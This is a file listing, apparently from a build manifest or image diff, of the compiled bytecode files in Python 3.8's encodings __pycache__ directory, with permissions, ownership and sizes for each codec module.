+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2282 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.pyc
+-rw-r--r-- root root 8119 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8056 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8119 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.pyc
+-rw-r--r-- root root 2402 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2283 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2402 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2304 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.pyc
+-rw-r--r-- root root 2436 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2301 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2436 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2304 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2317 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.pyc
+-rw-r--r-- root root 2441 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2306 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2441 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2325 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.pyc
+-rw-r--r-- root root 2438 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2303 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2438 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.pyc
+-rw-r--r-- root root 2446 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2311 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2446 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.pyc
+-rw-r--r-- root root 2444 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2309 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2444 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.pyc
+-rw-r--r-- root root 2398 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2281 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2398 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.pyc
+-rw-r--r-- root root 2442 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2319 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2442 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.pyc
+-rw-r--r-- root root 7836 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7715 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7836 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2280 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.pyc
+-rw-r--r-- root root 2509 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2334 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2509 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.pyc
+-rw-r--r-- root root 8158 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8037 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8158 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.pyc
+-rw-r--r-- root root 7866 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7745 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7866 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.pyc
+-rw-r--r-- root root 7497 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7382 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7497 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.pyc
+-rw-r--r-- root root 7874 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7759 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7874 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.pyc
+-rw-r--r-- root root 8127 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8012 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8127 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.pyc
+-rw-r--r-- root root 2474 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2351 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2474 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.pyc
+-rw-r--r-- root root 7477 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7362 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7477 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.pyc
+-rw-r--r-- root root 7467 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7383 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7467 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.pyc
+-rw-r--r-- root root 7815 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7700 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7815 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7715 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.pyc
+-rw-r--r-- root root 8019 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7904 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8019 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7715 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.pyc
+-rw-r--r-- root root 7974 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7859 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7974 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7715 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7830 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.pyc
+-rw-r--r-- root root 8163 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8048 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8163 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.pyc
+-rw-r--r-- root root 7854 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7739 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7854 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.pyc
+-rw-r--r-- root root 2540 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2407 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2540 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.pyc
+-rw-r--r-- root root 2409 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2277 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2409 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1403 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.pyc
+-rw-r--r-- root root 1397 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1397 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1397 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.pyc
+-rw-r--r-- root root 2272 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2095 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2376 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.pyc
+-rw-r--r-- root root 2613 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2292 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2613 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.pyc
+-rw-r--r-- root root 1395 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1395 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1395 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.pyc
+-rw-r--r-- root root 5607 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5607 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5607 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.pyc
+-rw-r--r-- root root 3893 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2438 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3893 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1420 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.pyc
+-rw-r--r-- root root 1424 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1424 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1424 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1416 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.pyc
+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2291 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.pyc
+-rw-r--r-- root root 2510 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2385 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2510 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2294 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.pyc
+-rw-r--r-- root root 2437 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2312 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2437 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.pyc
+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2291 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2416 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.pyc
+-rw-r--r-- root root 2418 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2293 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2418 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2288 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2288 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.pyc
+-rw-r--r-- root root 2418 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2295 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2418 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2288 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2289 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.pyc
+-rw-r--r-- root root 2456 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2333 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2456 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2296 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.pyc
+-rw-r--r-- root root 2450 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2327 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2450 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2288 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2411 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1401 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.pyc
+-rw-r--r-- root root 2463 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2338 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2463 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.pyc
+-rw-r--r-- root root 2374 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2318 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2374 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2330 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2301 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.pyc
+-rw-r--r-- root root 1883 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1735 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1883 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.pyc
+-rw-r--r-- root root 7730 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7618 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7730 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.pyc
+-rw-r--r-- root root 2450 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2316 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2450 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.pyc
+-rw-r--r-- root root 2458 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2324 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2458 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.pyc
+-rw-r--r-- root root 2448 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2314 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2448 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.pyc
+-rw-r--r-- root root 2392 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2264 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2392 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.pyc
+-rw-r--r-- root root 2432 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2304 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2432 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.pyc
+-rw-r--r-- root root 2451 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2319 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2451 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.pyc
+-rw-r--r-- root root 2592 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2312 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2592 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.pyc
